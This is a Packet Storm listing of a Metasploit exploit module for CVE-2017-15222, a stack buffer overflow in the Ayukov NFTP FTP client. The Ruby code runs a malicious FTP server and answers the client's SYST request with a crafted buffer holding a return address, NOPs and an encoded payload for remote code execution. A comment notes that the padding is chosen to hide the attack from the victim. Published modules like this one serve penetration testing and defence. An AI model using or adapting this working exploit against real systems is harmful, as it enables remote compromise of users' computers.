what you don't know can hurt you

Ayukov NFTP FTP Client Buffer Overflow

Ayukov NFTP FTP Client Buffer Overflow
Posted Jan 5, 2018
Authored by sinn3r, Daniel Teixeira, Berk Cem Goksel | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP Client 2.0 and earlier. By responding with a long string of data for the SYST request, it is possible to cause a denial-of-service condition on the FTP client, or arbitrary remote code execution under the context of the user if successfully exploited.

tags | exploit, remote, overflow, arbitrary, code execution
advisories | CVE-2017-15222
MD5 | 586e39e9c2691a57d4f738d9226a1a4f

Ayukov NFTP FTP Client Buffer Overflow

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP
Client 2.0 and earlier. By responding with a long string of data for the SYST request, it
is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote
code exeuction under the context of the user if successfully exploited.
},
'Author' =>
[
'Berk Cem Goksel', # Original exploit author
'Daniel Teixeira', # MSF module author
'sinn3r' # RCA, improved module reliability and user exp
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-15222'],
[ 'EDB', '43025' ],
],
'Payload' =>
{
'BadChars' => "\x00\x01\x0a\x10\x0d",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
],
'Privileged' => false,
'DefaultOptions' =>
{
'SRVHOST' => '0.0.0.0',
},
'DisclosureDate' => 'Oct 21 2017',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
])
end

def exploit
srv_ip_for_client = datastore['SRVHOST']
if srv_ip_for_client == '0.0.0.0'
if datastore['LHOST']
srv_ip_for_client = datastore['LHOST']
else
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
end
end

srv_port = datastore['SRVPORT']

print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
super
end

def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
print_status("#{client.peerhost} - connected")

# Let the client log in
client.get_once

print_status("#{client.peerhost} - sending 331 OK")
user = "331 OK.\r\n"
client.put(user)

client.get_once
print_status("#{client.peerhost} - sending 230 OK")
pass = "230 OK.\r\n"
client.put(pass)

# It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk
# is visible from the user's command prompt, which would make the buffer overflow attack too
# obvious.
sploit = "\x20"*4116

sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << payload.encoded
sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)
sploit << "\r\n"

print_status("#{client.peerhost} - sending the malicious response")
client.put(sploit)

client.get_once
pwd = "257\r\n"
client.put(pwd)
client.get_once

end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    2 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    37 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close